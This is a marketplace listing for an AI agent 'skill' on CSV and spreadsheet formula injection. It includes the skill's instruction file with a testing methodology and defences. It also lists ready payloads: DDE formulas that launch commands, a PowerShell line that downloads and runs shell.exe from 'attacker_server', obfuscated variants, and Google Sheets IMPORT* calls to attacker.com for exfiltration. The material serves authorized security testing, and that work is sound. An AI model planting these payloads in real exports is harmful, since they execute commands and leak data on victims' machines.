PluginBench
Skill
Fail
Audit score 45

csv-formula-injection

yaklang/hack-skills

Detect and test formula injection in CSV exports and spreadsheet imports.

What is csv-formula-injection?

CSV formula injection occurs when user-controlled data exported to spreadsheets is evaluated as formulas by Excel, LibreOffice, or Google Sheets. Use this skill to identify sinks where CSV/XLSX exports contain unsanitized input, test for formula evaluation with benign payloads, and document execution or security warnings.

  • Map CSV/XLSX export features and trace user-controlled fields that feed spreadsheet columns
  • Test formula prefix characters (=, +, -, @) to detect evaluation in target spreadsheet software
  • Identify DDE and external call patterns in Excel and LibreOffice contexts
  • Detect outbound requests via Google Sheets import functions (IMPORTXML, IMPORTRANGE, IMPORTHTML, IMPORTFEED, IMPORTDATA)
  • Document security warnings, calculated results, or DDE prompts as evidence of vulnerability

How to install csv-formula-injection

npx skills add https://github.com/yaklang/hack-skills --skill csv-formula-injection
Prerequisites
  • Access to a target application that exports data to CSV or XLSX format
  • Spreadsheet software (Excel, LibreOffice Calc, or Google Sheets) to open and test exported files
  • Lab or authorized testing environment; explicit authorization required before testing formula injection payloads
Claude Code
Cursor
Windsurf
Cline

How to use csv-formula-injection

  1. 1.Identify all features in the target application that generate CSV, XLSX, or tab-separated exports (admin panels, reports, user rosters, search results)
  2. 2.Trace which user-controlled fields (profile data, titles, memos, tags, filenames) are included in export columns
  3. 3.Inject benign formula prefixes (=1+1, +1+1, -1+1, @SUM(1+1)) into user-controlled fields and trigger an export
  4. 4.Open the exported file in the target spreadsheet software (Excel, LibreOffice, Google Sheets) matching the victim workflow
  5. 5.Document whether cells display calculated results, security warnings, DDE prompts, or outbound network requests; note product version and locale settings

Use cases

Good for
  • Testing admin export features that include user profile data, ticket titles, or transaction memos for formula injection
  • Verifying that CSV exports from reporting tools do not evaluate malicious formulas when opened in Excel or LibreOffice
  • Checking whether Google Sheets imports from untrusted CSV sources trigger data exfiltration via IMPORT* functions
  • Validating that search results, audit logs, or billing reports exported as CSV do not contain formula evaluation sinks
  • Confirming that filenames or tags in ZIP exports do not trigger formula execution when extracted and opened
Who it's for
  • Security testers and penetration testers auditing export functionality
  • Application security engineers reviewing CSV/XLSX generation pipelines
  • Bug bounty researchers testing spreadsheet-related attack surfaces
  • Developers implementing secure export features

csv-formula-injection FAQ

What characters trigger formula evaluation in spreadsheets?

The primary prefix characters are =, +, -, and @. When a cell begins with one of these, many spreadsheet applications interpret the content as a formula rather than plain text.

How do I test for formula injection safely?

Start with benign arithmetic formulas like =1+1 or +1+1 to detect evaluation without causing harm. Only escalate to more impactful payloads (DDE, external calls) in lab environments with explicit authorization.

What is DDE and why is it dangerous?

DDE (Dynamic Data Exchange) is a legacy protocol that allows spreadsheets to invoke external commands. Patterns like DDE("cmd";...) or =cmd|'/C calc'!A0 can execute local commands when a cell is opened, making it a high-impact vector.

Can Google Sheets be exploited via CSV formula injection?

Yes. If CSV data is imported into Google Sheets, functions like =IMPORTXML, =IMPORTRANGE, and =IMPORTHTML can trigger outbound requests to attacker-controlled servers, enabling data exfiltration or reconnaissance.

How can developers prevent formula injection in exports?

Prefix user-controlled fields with a single quote (') to force text interpretation, strip or escape leading =, +, -, @ characters, use consistent CSV encoding per RFC 4180, and validate column types before export.

Full instructions (SKILL.md)

Source of truth, from yaklang/hack-skills.


name: csv-formula-injection description: >- CSV/spreadsheet formula injection (DDE, Excel/LibreOffice, Google Sheets IMPORT*). Use when exports, imports, or user fields feed spreadsheets or reporting tools.

SKILL: CSV Formula Injection

AI LOAD INSTRUCTION: This skill covers formula/DDE-style injection in CSV and spreadsheet contexts, obfuscation, cloud-sheet primitives, and safe testing methodology. Use only where explicitly authorized; payloads that invoke local commands or remote fetches are impactful—prefer lab targets and document consent. Do not target end users without program rules allowing client-side execution tests.

0. QUICK START

Characters that may trigger formula evaluation when a cell is opened in Excel, LibreOffice Calc, or similar (often only if the cell is interpreted as a formula):

=
+
-
@

Test cells may look like:

name,value
test,=1+1
test,+1+1
test,-1+1
test,@SUM(1+1)

Routing note: when testing CSV exports, back-office reports, or user data opened in spreadsheets, prioritize these prefix characters.


1. DDE INJECTION (EXCEL / LIBREOFFICE)

Dynamic Data Exchange (DDE) and external call patterns historically abused in spreadsheets. Examples for controlled lab reproduction:

DDE("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
=cmd|' /C calc'!'A1'

PowerShell-style chaining (lab only; replace host and payload with benign equivalents):

=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

2. OBFUSCATION

Defensive parsers may strip obvious patterns; testers may try noise and spacing (still only where allowed):

AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A

Extra whitespace after =:

=         cmd|'/c calc.exe'!A

Dispersed characters / unusual spacing (conceptual pattern—adjust per parser):

=    C    m D    |'/c calc.exe'!A

rundll32 style:

=rundll32|'URL.dll,OpenURL calc.exe'!A

3. GOOGLE SHEETS

If exported data is later opened in Google Sheets, or sheets pull from untrusted CSV, these functions can cause outbound requests or cross-document data pulls:

Data exfiltration / probe (replace URL with your authorized callback):

=IMPORTXML("http://attacker.com/", "//a/@href")

Other high-risk imports:

=IMPORTRANGE("spreadsheet_url", "range")
=IMPORTHTML("http://attacker.com/table", "table", 1)
=IMPORTFEED("http://attacker.com/feed.xml")
=IMPORTDATA("http://attacker.com/data.csv")

Document which function executed and what network side effects occurred.


4. TESTING METHODOLOGY

  1. Map sinks — Any feature that emits CSV, XLSX, or tab-separated output: admin exports, audit logs, user rosters, billing reports, search results.
  2. Trace user-controlled fields — Profile fields, ticket titles, transaction memos, tags, filenames in ZIP exports—any column that echoes stored input.
  3. Inject formula prefixes — Start with benign arithmetic (=1+1, +1+1) to detect evaluation; escalate only per rules.
  4. Open in target software — Match victim workflow: Excel desktop, LibreOffice, Google Sheets import, locale-specific decimal separators.
  5. Evidence — Screenshot/capture whether the cell shows a calculated result, a security warning, or DDE prompt; note product version.

Note: focus on the user input -> export -> opened in spreadsheet software chain.


5. DEFENSE

Application and export-layer mitigations:

  • Prefix with single quote — In many spreadsheet apps, leading ' forces text interpretation: '=cmd|... displays literally.
  • Prefix with tab — Some pipelines treat tab-prefixed fields as non-formula text when ingested correctly.
  • Strip or neutralize leading triggers — Remove or escape leading =, +, -, @ (and Unicode lookalikes) at export time.
  • CSV encoding — Use consistent quoting; validate column types; avoid passing raw formula strings into financial/reporting templates without sanitization.
  • User education — Do not enable external data / DDE without policy.

Example safe export transformation (conceptual):

Input:  =1+1
Output: '=1+1   OR   \t=1+1   OR   (empty prefix) with escaped quotes per RFC 4180

Note: when correlating business exports, reports, and API export parameters, combine with injection, business-logic, and API-security skills.